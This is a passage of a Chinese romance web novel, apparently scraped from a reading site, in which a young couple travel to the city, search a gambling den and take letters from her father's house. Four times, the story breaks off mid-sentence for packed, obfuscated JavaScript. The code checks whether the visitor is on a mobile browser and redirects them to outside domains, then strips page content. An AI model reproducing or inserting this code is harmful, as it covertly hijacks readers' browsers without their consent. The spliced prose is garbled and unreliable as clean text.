宁知序屏息,不可置信地垂眸看着她:“你你你!”
他想到昨日见面,野外揭开盖头的那一瞬间她呆看自己的模样,后知后觉地明白她对自己态度为何这样好。
都是因为他这张脸……
苏静蘅冲他笑笑,问:“我怎么了?”
“……”
宁知序默默咽了口唾沫,逼自己镇静下来,小声说:“你穿红色也很好看。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352267|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“那是。”
苏静蘅听了夸奖,高兴地扬起下巴,“不止红色,我穿什么颜色都好看!”
宁知序连连点头,有些不好意思地说:“你长得好看,穿什么颜色都合适。”
苏静蘅眼睛弯弯,再一次纠正他的话:“我就算长得不好看,穿什么颜色的衣服也都好看。”
宁知序:“嗯?”
这是个什么道理?
苏静蘅耐心跟他说:“天下那么多人,各人有不同的看法,千千万人那就有千千万种不同的看法,我不可能顺着所有人的意思,我只能顺着自己的意思呀,所以就算我脸上少个鼻子少个眼睛少个耳朵,身子少条胳膊少条腿,我觉得自己好看那我就是好看,也只有这样才是真好看,旁的都是虚话。”
说罢,她瞧他一眼,提着语调问:“你说我说得对不对?”
“对。”
她说的自然是对的,宁知序想都没想就点头。
“那——”
苏静蘅眼中划过狡黠的光芒,凑近他问,“你以后还听信旁人胡说八道,觉得自己哪里都不好吗?”
“啊?”
“你说啊。”
“我——”
烛火摇摇晃晃,比不过她一双眼睛亮堂。
宁知序被她盯得忍不住后退,奈何苏静蘅攻势太强,一直紧紧贴着他,他退一步,她跟一步,踮起脚尖好像恨不得把他盯出个窟窿,非要听到他的回答才肯放过他。
宁知序只好说:“不会,以后再也不会了。”
“……”
苏静蘅停下动作,收回视线,嘴角仍勾着一抹弧度,似笑非笑,良久,轻哼道:“你骗人。”
宁知序:“……”
他什么都没想好,连自己都不知道他是在骗人,她就看出来啦?
可他现在确实不知道要如何狡辩。
难道他真的在骗人?
苏静蘅那般平淡地盯着他,说道:“行了,我知道跟你说大道理是没有用的,反正咱们两个还要一起生活一段时间,序公子脾气好,一直纵容我做事,那我可真的是会‘蹬鼻子上脸’的,以后要是再让我听见你说那些糊涂话,我不只要教训说你坏话的那些人,连你,我也不会轻易放过,一定是要教训你的。”
说到“序公子”三个字时,腔调就开始阴阳怪气起来。
说完生怕他不相信,还解释两句:“之前那些我都是在跟你开玩笑,以后可不会了。”
宁知序原本避着她的视线,左躲右闪,听到最后一句,悄悄偏过头看她。
明明是警告他的话,说到最后却一点气势没有了,只是靠在木桌上,双手攥住自己的衣角,别扭地抠来抠去。
又是吓唬他呢。
宁知序眨眨眼,从恍惚中回过神,脸上的心虚一扫而空,立刻好奇地弯腰探着脑袋想借着烛火看清楚她此刻别扭的神色。
苏静蘅余光瞥见一道黑影凑近,一抬头就瞧见宁知序那双灿然的眼睛落在面前,温热的鼻息瞬间扑在脸上,他丝毫没有发觉,只是扯开嘴角,笑得放肆又有恃无恐:“都听你的。”
15. 回城(三)
宁知序得意扬扬,觉得她这样心地善良的人,绝不会做出揪着他耳根子教训他这等事,因此更加得寸进尺,龇着牙花凑到她脸跟前笑。
苏静蘅心口咚咚跳,然而理智还在,看他这副模样,伸出手一把按住他的脸将他往后推,边推边说:“你凑这么近干什么!远一点!离我远一点!”
说着用力,宁知序于是一个猛地仰首,转眼就看见梁上蜘蛛网在黑暗之中泛着洁白的光辉。
“下次不许突然凑近看我!”她警告。
“……”
宁知序长叹一声,将脑袋正回原位,就瞧见苏静蘅拿着烛台准备回房。
“等一下。”
他叫住她,“光说我明天穿什么了,你呢?你穿什么?给我看看。”
苏静蘅头也不回:“反正我穿什么都好看,不需要特地挑选,你只等着明天看我穿什么就行。”
“啧。”
宁知序摇头,心里却说也是,不过她这么早就回房睡觉,大好时光就这么浪费,多无趣啊,天色还早,他们还能再聊聊的。
宁知序想从肚子里搜刮点话出来与她说,然而苏静蘅已经回屋毫不留情将门关上,只撂下他一人面对着黑寂的堂屋。
堂屋木门落了闩,外边月色银光从门缝照入,他站在原地,对着从门外泄进来的那一缕月光愣了片刻神,而后收回思绪,将那些衣服全都收起来放回原处。
宁家打包送来的那些东西里面有一个黑漆木柜,倒不算是很大,宽约两尺,高一尺半,柜子上下一共三层,每一层抽屉上花纹不同,从上到下分别是梅花、白鹤、双鱼的图案,皆由螺钿镶嵌而成。
有钱人家向来喜欢打几个这样的柜子放在卧房床边,他就算被赶去后院柴房,也能从之前的卧房里挑一个柜子带走用来存放贴身值钱物品。
这个柜子陪了他十来年,从前他还是正正经经的宁家二公子的时候,每日都有家仆打扫清理,后来落魄,就连柜子都跟着他吃苦,几年下来柜身上多了不少划痕,不过螺钿价值不菲,眼前还没到走投无路饿死的地步,就算真有这一天,光是这个漆柜卖了,就能换不少的钱,更别说柜子里还有些他这几年攒下的其他东西。
想着,宁知序从装衣服的包袱里拿出一个褡裢,随即又从褡裢里拿出一把钥匙打开柜子第一层,里面除了一个巴掌大的盒子,还有一个荷包以及几个色泽鲜亮的发簪玉冠。
看着抽屉里的东西,他松一口气,似乎肩上的担子轻了不少,想到明日要进城,心里忍不住开始兴奋。
好久没正大光明地走在洛城街道上了,也不知小时候常吃的那家点心铺子还开没开着。
明儿和她一起进城,路过点心铺子一定要多买些点心回来,请她吃个尽兴!
宁知序将荷包和小木盒都拿出来,借着外边照进来的微弱光芒扫了一眼,随即听见隔壁床板吱呀声。
苏静蘅正上床准备休息,脱了衣服裹了被子躺下,隔着墙听见旁边还有声音,于是轻轻敲了敲墙壁,对他说:“你早些睡,明日进城来回走那么远的路会很累。”
“嗯,好。”
宁知序忙应声,随后将荷包撂在桌上,拿起木盒手指在盒身上摸索,按下一个开关,那木盒“啪嗒”一声打开,里面躺着一只玉镯,镯子上缠着鎏金纹路,几颗宝石点缀其中,在黑暗中发出耀眼光芒。
他仔细端详着玉镯,心里并没有太大的起伏。
将盒子合上,打开柜子第二层,里面是一方手帕包着一只长命锁和一对孩童戴的银手镯,银质饰物放久了略有些发黑,不过影响不大,他自己处理一下就行。
至于第三层,他没打开,确定上两层里面的东西没少,就彻底放下心,借着微弱的光辉脱了衣服,坐在由几块木板拼成的床上,对着屋里呆望一阵,然后躺下准备睡觉。
被子一直蒙到口鼻,一双眼睛在黑暗中滴溜溜地转,他警惕地扫了一眼堂屋内的景象,从地缝里钻出的虫蚁,到房梁上悬着的蜘蛛,每一个都仔仔细细地看过一遍,而后又忍不住起身去确认两边房门是不是都关严实了,双手拽住门推推又拉拉,确定这两扇门只是看起来简陋,实际结实异常,才回到床上准备继续睡觉。
尽管如此,他也没有特别安心,始终用被子将自己裹得严严实实,只留一对眼睛鼻子在外面。
不知何时山间起风,草木被吹得哗啦啦响,苏静蘅抱着被子翻来覆去没睡着,床板吱呀声落在宁知序耳中,勉勉强强使他心安一些。
好不容易迷迷糊糊地睡去,再次醒来,外边天依旧黑着,不过隔壁房间走路声明显,不清楚是什么时辰,他连忙翻起身,打开门瞧了眼天边的月亮星子,约是卯正时刻。
对面山头村子里的鸡一声一声地叫,山风吹得他打了个哆嗦,回屋时正好瞥见东屋窗前微弱的灯光,他立刻猫着腰鬼鬼祟祟地跑到窗前,捂着嘴巴装模作样地喵两声。
苏静蘅正对窗编辫子,听见声音惊喜道:“哎?有猫!”
宁知序又叫两声。
苏静蘅发觉不对劲。
这猫怎么叫得这么难听!
“宁知序!是不是你!”
宁知序夹着嗓子说:“不是不是,是猫仙大人来抓你来了——”
话没说完,窗户砰的一声打开,露出里面的人,苏静蘅气冲冲地提住他的耳朵,道:“猫仙?你再喵两声给我听听,让我瞧瞧是真猫仙还是登徒子!”
“啊啊啊!”
登徒子?
宁知序一边叫一边抬眸看她,紧接着愣住。
她今日穿的一身桃粉衫子,料子平平无奇,绣花却极为讲究精美,衣领衣袂处花叶相缠,身上碎花依次点缀开来,一眼看去让人眼前一亮。
衣服上两枚盘花布扣系得工整,露出里面半截杏色里衣领子,乌发分成两股,在耳后编作细细的麻花辫,再盘成双螺小髻,单留两股撇在耳后,手打的杏红穗子挂在辫子上,随着她的动作晃来晃去。
宁知序看呆了眼,但很快猛地回过神,想到她已经收拾好了,反倒是自己,蓬头垢面,没个正形,太丑了。
不行不行,赶快跑!
他从苏静蘅手里挣脱,一句话没说就蹿走了,回到房里赶紧换衣服,全然按照她昨晚的要求穿,手忙脚乱地换好衣服,压根找不到个镜子照照。
可恶,今天去城里还要再买个镜子回来。
要小的那种,他要随身带着!
收拾好自己,苏静蘅从屋里敲了几下门板,提醒他自己要出来了,宁知序捂嘴轻咳两声,跟她说:“我好了,你出来吧。”
话落门口并没有动静。
嗯?
难道是他想错了?
宁知序疑惑地走上前,这时里面传来声音:“你刚才看见我今日是何打扮了?”
“我又不是瞎子,当然看见了。”宁知序觉得莫名其妙,说,“放心,好看得很,旁人见了肯定说你是绝世大美人!”
苏静蘅在屋里说:“不行不行,你得忘了。”
“啊?”
他是神仙吗?说忘就忘。
宁知序不懂她是什么意思,闭上眼睛说:“我试试哈。”
其实根本忘不掉,不仅忘不掉,一闭上眼睛,那模样反复在眼前出现,扰得他心烦意乱。
过了一会儿,苏静蘅问:“忘了没?”
“忘了忘了。”
没忘没忘!但是顺着她的意思说肯定没错,后面怎么样就见仁见智,看他能不能反应及时了!
苏静蘅于是说:“那我要出来了。”
宁知序瞬间懂了。
不就是嫌刚才他出现的突然,打断了她的准备,没让她“璀璨”地出现在自己面前吗,这有什么好纠结的。
不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361958|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
既然她非要重来一次,成啊,他肯定好好表现让她满意!
念罢,门打开,苏静蘅从屋里走出,依旧是那副骄傲的样子,嘴角噙着笑,夸张地走到他面前转个圈,还没开口问怎么样,宁知序看她一眼嘴巴随即就跟着动:“哇!”
太捧场了。
苏静蘅很满意,又伸出一只脚,撩起裙子,给他看自己的鞋,和衣服是差不多的颜色一样的绣花,宁知序又:“哇!你这从头到脚都是成套的!好看!”
虽然夸得不怎么样,但这模样真跟见了宝贝似的,苏静蘅得意收回脚放下裙摆,夸他:“你今天这一身也好看!”
“都是你的功劳。”
宁知序笑笑,盯着她的下裙摆,问,“你脚伤真的好了?我看怎么还有点跛?”
提到脚伤苏静蘅就不高兴,瞬间收了笑,说:“还有一点,稍用力就有些疼,不用力就没事。”
“那今天——”
“等我走累了你背我。”
“肯定!”宁知序没有丝毫犹豫。
苏静蘅冲他一笑:“那就这样,先洗漱,再煮两口粥喝,撑到城里我带你去吃点心。”
宁知序两眼放光,这一点他们倒是想到一块儿去了,看来今天进城有的玩。
煮粥这样的事他自然还是愿意做的,苏静蘅拗不过他,听他的话,放他一人去灶屋干活,自己则是去收拾了个空包袱带着。
宁知序给她做的那个小篾篓她也顺手带上,从家里找了根绳子系着,斜挎在身上,银钱就放在里面,若是从城里买些点心带回来,放在这篓子里正好,不用担心被压坏,还能随时掏出来吃。
挺好!
天微微亮,两人吃了粥便锁上家门,一起往洛城的方向去。
这个时辰山里百姓大多已经起来干活,一路上遇见好些个,都难掩好奇地看着他们俩。
等他们走得远一些,一群人挤在一起议论纷纷,指着他们的背影说说笑笑。
宁知序被盯得浑身不舒服,反倒是苏静蘅,觉得无所谓,拿着她那根拐杖,遇见地上有坑就戳一戳,看见路上长着野草就扫一扫,遇见好看的花顺手摘了往头上戴,还不忘给宁知序也戴一朵。
她自己挑了朵粉的,给宁知序挑了朵黄的,往他脑袋上戳的时候看见他不自然的神情,这才问:“你怎么了?不舒服?”
宁知序摇头说不是,但也没告诉她其他的原因,问她:“累了吗?要不我背你?”
苏静蘅说:“才不要,等回程再说吧,我现在想自己走。”
采花采草,看山看水,还是自己走路更有意思。
宁知序没说话,就这样一直憋着,憋到城门口从怀里掏出宁家玉牌,原先前后排队的人纷纷退避,苏静蘅后知后觉明白过来。
哦,原来路上那些人和这里的人一样,是猜到他的身份,嫌他晦气,所以才避着他的。
这下轮到宁知序面色不变,看起来颇为严肃地等守卫放行,苏静蘅心里憋着一股气,紧紧盯着那守卫。
她脾气不好,若是那守卫敢露出半点嫌弃害怕的神色,她一定会忍不住刻薄他几句。
所幸那守卫满脸厌倦,浑身上下充满了不想干活的死气,即便认识宁家的玉牌,知道从城外来的除了宁家二郎没有其他人,也没有任何反应,挥挥手就放行了。
进了城,走在街道上,那些异样的眼光愈发多起来。
就算宁知序已经做好了被人认出来随时被嫌弃被攻击的准备,对此还是有些不明白。
城里人都认识他?
不应该啊,他好几年没出过宁府了,外边的人压根不知道他长什么样,怎么会个个都害怕他?
他满心不解,这时苏静蘅拽拽他的衣角,跟他说:“你别怕,这里的人全都认识我,看在我的面子上,他们不会对你怎么样的。”
宁知序:“……”
16. 回城(四)
这里的人为什么都认识她,这还得从娘亲去世那一年说起。
那一年苏静蘅十一岁,年纪说大不大,说小不小,娘去世得早,她从这个年纪便开始当家,除了家中杂事,平日还要做一些针线活儿卖钱补贴家用。
那个时候她爹赌得还没那么过分,平日在醉香楼当伙计,挣一点小钱,进赌场几次,有赢有输,欠过钱,但自己攒下的钱也够还,娘在的时候骂过他,娘过世之后,他似乎收敛住了,所以赌场那些事一直未曾闹到她面前。
这样平淡稳定的日子一直持续到第二年,不知是哪一天,他下了工回家路上路过赌场,听见里面的声音,赌瘾被勾起,一只脚踏进去,就跟中了毒似的,再也不愿出来。
第一次赢了钱,他没跟她说,给她买了点心,买了手镯,高高兴兴回家,骗她说是醉香楼掌柜赏的。
苏静蘅自然是欣喜地将点心吃了,还拿着手镯去娘的坟前给娘看,她说爹是个顾家的人,有什么好东西都会惦记着她自己,叫她在天上别担心,自己以后一定把日子过得好好的。
她是个招摇的人,天天戴着镯子出门卖手帕,旁人见了夸一句,她都要说:“这是我爹给我买的。”
街坊邻居都见过她的镯子,知道她的镯子上是什么花样,也知道她最欢喜这个镯子。
直到后来有一天,她在东市卖完手帕回家,路过赌场,看见赌场门口吵吵嚷嚷,挤进去一看,一群赌坊的伙计正围着个男人拳打脚踢,
那男人正是她爹。
两人在这样的场合下见面,苏静蘅心里一根弦骤然崩断。
她当场摘了镯子,摔在地上,没等她爹有反应,赌坊的人就先一步抢过镯子,说这镯子就当作抵押,还欠了几两银子,让他一天之内拿过来,否则便要追到家里要他好看。
打人的走了,被打的也走了。
看热闹的人一哄而散,赌场面前这种事常有发生,他们自然不会把这事放在心上。
谁料自这一天开始,他们每隔十天半个月都会看见那个半大的姑娘手里拿着棒槌跑到赌场里揪人。
小丫头年纪不大,嗓门挺大,冲进赌场扯着嗓子一吼,东门这一片都要跟着颤一颤。
她不仅喜欢到赌场里揪她爹,她还喜欢连着整个赌场的人一起骂,不论老少,凡是看见了,都别想逃,统统一块儿骂。
这法子起先真有点用,没人会真的跟一个小姑娘计较,那些被她骂的人看见她爹气不打一处来,瞧见她爹进赌场就把他轰出去。
但久而久之,这法子也没用了,一是她爹脸皮真的厚,捂着脸也要进去赌,二是小姑娘只是嘴上骂得厉害,实际不敢跟他们较真。
嘴上骂得再厉害,那也只是嘴上骂骂,没有其他的动作,他们又为什么要放在心上呢?
苏静蘅跟她爹斗智斗勇了两年,后来为了防止他进赌场,几乎每天都要跟着他,盯着他上工下工,有什么事都一起来回。
这样也确实挺管用,只是她再厉害也是人,不是神仙,没有铁打的身子,哪一天生了病,疏忽了,人就又跑赌场里赌了。
东城门这一片的人看了好几年热闹,自然是同情她的,虽然没那个责任帮她揪她爹,但能帮她通风报信,一旦瞧见她爹进赌场,就立刻去她家找她。
其实根本没多大用处,有的时候甚至认错人搞出乌龙来。
不过为了表示感谢,苏静蘅还是会拿自己绣的帕子送给他们当作谢礼。
这样一来二去她与东城门这一片不少人家认识,大家为了照顾她的生意,也会找她买帕子。
自然,就算没有这一层关系,愿意买她帕子的人也很多。
她的绣工极好,母亲曾经是穆阳城大名鼎鼎的青绣坊的学徒,嫁到洛城之后,又在城里的绣帮当过几年绣娘,中间出了变故,才不得不离开绣帮。
爹染上赌瘾之后家里再没有好过,房子里的东西一点点变少,攒下的积蓄很快也花了个精光,只有她自己卖手帕攒下的钱一直偷偷留着。
成亲那一天她被关在房子里,收拾自己的东西时,想着等嫁给了宁家二郎之后,一定要想办法逃走,到时候带着这一笔钱能走多远走多远,就算是讨饭也要离开洛城。
她想去穆阳城,那儿有姨母有娘舅,还有青绣坊。
青绣坊里的绣女都是给京城的达官贵人绣衣服的,就算哪天她们离开了青绣坊,以后的日子也差不到哪里去。
一些绣帮会重金请青绣坊的绣女入帮,还有些老字号的成衣铺会请她们当招牌,只要自己去穆阳城,进了青绣坊,就算完成了娘的一桩心愿,她日后也不用再担心生活的问题。
“所以你这次回来是为了——”
宁知序听完她的话,既难受又心疼,同时抓住了重点,她想去穆阳城,所以拿的东西定然和那边有关。
苏静蘅说:“前些年姨母和娘舅都有写信给我娘,那些信被锁在我爹房里,我想拿回那些信,那上面有他们的住处,有了信,我便能去投奔他们。”
“……”
原来如此。
宁知序更难受了,问:“拿到信就走吗?”
“当然不是。”
苏静蘅讶异地望着他,“哪能这么快,还不清楚我姨母他们还住不住在那儿呢,而且我路费还没攒够,再攒一段时间吧,攒够五两银子我就走。”
“昨日我三叔给了整整七两银子,加上你自己攒的,早就够了。”
“可那笔钱不是我一个人的,是你三叔给我们两个的,我都拿走了你怎么办?”
“哦。”
宁知序努力压下自己的嘴角,说,“其实我不要那七两银子也成,我自己还有钱。”
“不行。”
苏静蘅坚持道,“我的是我的,你的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361959|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是你的,若非要认真,那七两银子我一两都不该得——”
她说着脸色微变,觉得里面还有自己忽悠人的辛苦费,于是立刻小声改口道:“若非要认真,那七两银子我最多得一两,其他都是你的,就算加上那一两,也不够五两呢,再攒攒吧,我再绣些绣品拿到城里卖,很快就会攒到的。”
“也是。”宁知序抿唇,脸上的笑容差点藏不住,故意提道,“而且你可以先写封信叫人送去穆阳城先问问,这样去投奔你姨母他们也不会觉得唐突,若是他们能提前打点好那最好了,你到了那儿全心准备青绣坊的考核就行。”
苏静蘅是有这个意思,却有些难为情:“可我不识几个字……”
“我会。”
宁知序飞快应上她的话,“你要写信读信我都可以帮你,写完信我还可以叫人帮你送。”
他们这些平民老百姓想要送信一般只有两个选择,有点小钱的找镖局护送,没钱的只能找顺路的商队代送。
虽然他是宁家二公子,可是身份特殊,反而不方便找宁家商队代送……
难道他打算请镖局送信?
她心里正疑惑着,宁知序说:“我在宁府有个马厩养马的兄弟,他舅舅就在我们家商队做事,回头给他点钱,拖他将信带到他舅舅手上就行,用不着我出面。”
哦。
苏静蘅知道了:“就是那个成亲当天给你马的那个兄弟?”
宁知序说是,然后挠挠后脑勺有些不好意思地说:“府里后院的那些下人们和我的关系其实还不错,只是外人不知道而已,你放心,他不会出卖我的。”
“我当然放心。”
苏静蘅粲然笑道,“我和你关系现在也算不错,我自然知道他们心里是怎么想的。”
所以是怎么想的呢?
宁知序想听她说,可苏静蘅并没有再说下去。
她以为她的话都说完了,还要解释什么呢?
心虚的人,心底不坚持的人才要解释,她要说的意思就是那么简单:“我们的关系现在是顶好的!我相信你!”
宁知序没想明白,被她猛地拉走,两个人就这样在街上疾步跑起来,苏静蘅也不管旁人是怎么看他们的,拉着他往熟悉的早食铺子去,说:“就吃那两口粥,肯定不顶饿,走了这么远的路,进城第一件事就该去买几个包子吃!”
“不买点心了?”
“点心也要买,先吃包子,回头拿到信,我们再好好逛逛。”
“行。”
两人来到早食铺子前,买了几个包子又买了块胡饼,一人分一半,边走边吃。
意识到走的方向不对,宁知序囫囵道:“哎?我们要去的不是你家的方向吧?你难道还有其他事要做。”
苏静蘅嚼着胡饼,闻言冷笑一声:“哼,当然是去我爹的第二个家找他了,他现在肯定在赌坊里呢!”
17. 书信(一)
苏静蘅要去赌坊将她爹提溜回家,可进去转了一圈也没见到那个熟悉的人影。
赌坊里吵吵嚷嚷,她所行之处声音却瞬间消失,于是一圈逛完,整个赌坊便安静地连一根针掉在地上都能听见的清清楚楚。
所有人都眨着眼睛死死盯住她和宁知序,直到他们俩回到门口,一群人才松气,个个暗中传递眼神,有人小声道:“那是苏家那个小姑娘吧,那她身边那个就是宁家二公子——”
“什么宁家二公子,他现在和被扫地出门有什么区别?就是平民老百姓,和我们一样!”
“怎么没人出来拦着他们,赌坊也能让他这种人随便进?”
“进就进呗,有什么大不了的,瞧你怕成这样,啧——”
“你输钱多你不在乎,老子刚赢的钱,不能再输回去。”
“技不如人还要怪别人,不要脸!”
“赌坊里赌得是什么咱们都心知肚明!你要是这么说,你才是技不如人的那个,你不仅技术比不过别人,运气也不行,运气差一点那叫倒霉,运气像你这样的,那叫晦气!”
“你说什么!”
说着,两个人碰起来,里面骂作一团。
宁知序看他们这反应,听了这么多贬损的话,竟难得没有自怨自艾的心思,只是叹口气,临出门前敷衍地朝他们拱拱手,就当赔礼道歉,然后头也不回地跟着苏静蘅离开赌坊。
苏静蘅走在街上满心疑惑,说:“怪了,他人不在赌坊还能在哪?总不能上工去了吧。”
“回去看看呗,万一在家呢。”
苏静蘅瞧他一眼,刚从赌坊出来,他满脸兴奋,捏着吃了仅剩一个的包子,两手之间抛来抛去,好奇地问:“哎你说这些人就天天在里面赌,从早赌到晚,什么事都不干,这有那么好玩吗?还有还有,我看里面还有断胳膊断腿的也在赌,连伤都不养了,这是疯了吧!回家养养伤,吃点好的休息休息,不比在这个里面好?”
苏静蘅瞥他一眼,说:“他们的事我懒得管,反正你别去赌就行,这东西害人的,一个人染上,一家子人受难,你要赌等我走了再赌,到时候我管不着你,随便你做什么。”
“……我怎么可能去赌!”
宁知序忙解释,他兴奋是因为第一次见,才不是想去尝试。
那些人赌得三魂七魄丢了一半,面色一个比一个难看,他不敢想自己变成那副样子,丑,太丑,真有那天,那他活着也没什么意思了,直接入土算了。
苏静蘅不说话,领着他往家走。
家里若是没有人,那她也没必要再去她爹上工的地方找他了,眼下身边正巧有一个人,力气有的是,想办法翻进家门,然后撬了门锁直接将东西拿走算了,也省的她到时候还要打招呼周旋。
宁知序记得她家的位置,不疾不徐跟在她身边,心里还惦念着赌坊里的那些事,自言自语道:“这赌坊不知是什么和宁家扯上关系的,我爹在世时最讨厌做这种生意,他要是知道了,恐怕九泉之下不得安宁。”
苏静蘅没接他的话。
她现在只顾得上自己,没心思管他爹在九泉之下安不安宁,眼看着太阳奔着中天去,她难免有些急,拽着宁知序走得飞快,这会子也不觉得腿疼脚疼,只想着赶紧拿了东西离开。
回头要去市上置办些东西,再在城里吃顿饭,下午逛一逛买些点心回去,到家大约不早了。
能早些回去还是要早些回去,晚上留些空儿,还要做些其他的事。
穿过几条不起眼的巷道,总算看见家门口前那棵老树,相邻的几户人家都大门紧闭,没瞧见那些喜欢看她热闹的人,没机会给他们下马威,苏静蘅有些失落,不过想不了太多,还是快些走到家门口。
院门半掩着,里面没有声音,宁知序做前锋,伸着脖子往里探探,这不探不知道,一探吓一跳,院子里直愣愣地躺了个人。
他一脚踹开院门,快步上前查看,这不看不知道,一看又吓一跳——人没什么大事,就是喝醉了酒,躺在地上睡大觉而已。
凡事都有他来做,不用苏静蘅在中间做为难人。
他将人扶起来,拍拍脸,问:“哎!醒醒!没事吧?”
不知道怎么叫他,随便两声“哎”应付过去就算了,实在不行,就叫“喂”,反正不能叫爹,也不能叫叔,不然准惹她一道白眼。
苏静蘅看着地上的人影心里就烦得不得了。
宁知序叫了半天,只有几声半梦半醒的回答,于是道:“叫不醒就算了,摸摸他腰带里边有没有钥匙,一串四把,都拿出来,有用。”
宁知序应着她的话,伸手往老丈人腰间摸,摸到个硬的,掏出来,是块银锭,他不由惊道:“你爹还挺有钱!”
“什么有钱,大约是卖我得来的银子,我被关起来那两天,可是听见宁家派的那些人说了,只要把我嫁给你当媳妇,债务一笔勾销,还能给他一笔钱。”
“……”
宁知序闭嘴,不知道怎么接这话。
说什么都是他家的不对。
他怕自己说多了话,把她气跑了回头没得玩,于是立刻变得小心翼翼,她让做什么自己就做什么,
苏静蘅没耐心,亲自上手,也没摸着钥匙。
奇怪,他从前一直都是把钥匙贴身放的,怎么今天没带在身上。
苏静蘅不信邪,去推门,门上了锁,没推开。
她环顾一眼四周,在院子里捡了块砖,撸起袖子对着那锁就要砸下去。
刚砸两下,锁没坏,地上倒是传来动静,二人不约而同朝着地面看去,躺着的人终于艰难地睁开眼睛,望着他们,欣喜喃喃:“蘅儿……”
苏静蘅只看他一眼,转头继续砸,边砸边说:“别叫我蘅儿,现在在我面前卖惨没有用,你要是还记得你自己是个当爹的人,就把家里的钥匙给我,我有东西要拿走。”
“你回来是要找你娘留下的东西?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399665|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏静蘅还奋力砸着,什么也没说,他迷糊之中便知道自己说对了,蔫耷耷地抬手指着墙角说:“钥匙在门下的洞里。”
苏静蘅闻言住手,扔了砖头蹲下,抽出脚边墙根凸起的两块砖,果然在里面摸到一串钥匙。
她熟练地从那串钥匙里拨出一把打开屋门,拽着宁知序进屋好一顿搜寻,才在床边柜子里的衣服中找到要找的东西。
几封信整整齐齐地夹在衣服夹层之中,看起来平日照看地很谨慎,信纸些微泛黄发旧,但纸页平整没有破损,字迹依旧清晰,宁知序随意扫了一眼,又默默移开视线,问她:“拿到了?还有其他东西要收拾的吗?”
“有。”
苏静蘅连那衣服包着信一块儿带走,出了门,带着宁知序去另一间房里翻找。
那是她的闺房,平日没有外人进入。
眼下顾不得那么多,房间里面除了必要的床柜桌椅,没有半点多余的东西,一点需要避嫌的地方都没有,自然没必要让宁知序在外面等着。
宁知序一进屋就觉得寒气逼人,屋里照不到太阳,他抱臂抖三抖,没来得及说什么,就被苏静蘅招呼着去帮忙。
所有没来得及带走、还值点钱的东西都在柜子里。
柜门没上锁,打开里面也不过只剩几件衣服和年前买的还没来得及做成衣服的两匹成布以及几件绣工用品。
那几件衣服她装进自己的包袱里带走,然后另寻了个包袱将布匹与绣绷装好,扔给宁知序说:“拿好,我们再去灶房瞧瞧有什么能带走的,不拿白不拿,这些东西放这回头也会被他拿了当掉,不如我们都收拾走,省得再花钱去买了。”
宁知序震惊地不敢说话。
不是说拿完信还要去市上逛逛吗?这会儿拿这么多东西,待会儿还怎么玩?
苏静蘅进了灶屋,连碗筷碟子都没放过,又从犄角旮旯里收拾出一个小木桶,冲洗后将碗碟都放在里面,然后塞到宁知序手里,依旧说:“拿好。”
宁知序:“……”
“我再去瞧瞧——”
“等等等等!”宁知序赶紧叫住她,“这么多够了,我们现在有钱,不至于什么东西都要从你家拿!”
再不叫住她,她恐怕就要把家搬空了。
搬空就搬空吧,可这么远的路,走起来就挺不容易的了,再拿那么多的东西,他是真的没那个本事把她家完完整整地搬去城外。
“行吧。”
苏静蘅仔细想想,家里确实也没有其他什么值钱的东西可以拿走了,留点在这儿够他一个人活的,免得日后因为少只筷子少只碗而找他们的麻烦。
念罢,她拍拍包袱就要潇洒离开,刚出灶屋,忽地顿住,宁知序心提到了嗓子眼,问:“你又忘记拿什么东西了?”
苏静蘅看他那紧张的模样,撇撇嘴,说:“种子!菜种!我们没田,又不能天天走这么远进城,也不能天天吃野菜,总要开片地种自己的菜吧。”
18. 书信(二)
窗下陶罐里存着些种子,苏静蘅抱起陶罐放进木桶,才推着宁知序离开灶屋。
地上那人依旧不清醒。
她看了眼,说:“走吧。”
便真的不打算和他说些什么,顺手关上灶屋门,领着宁知序就奔着院门口去。
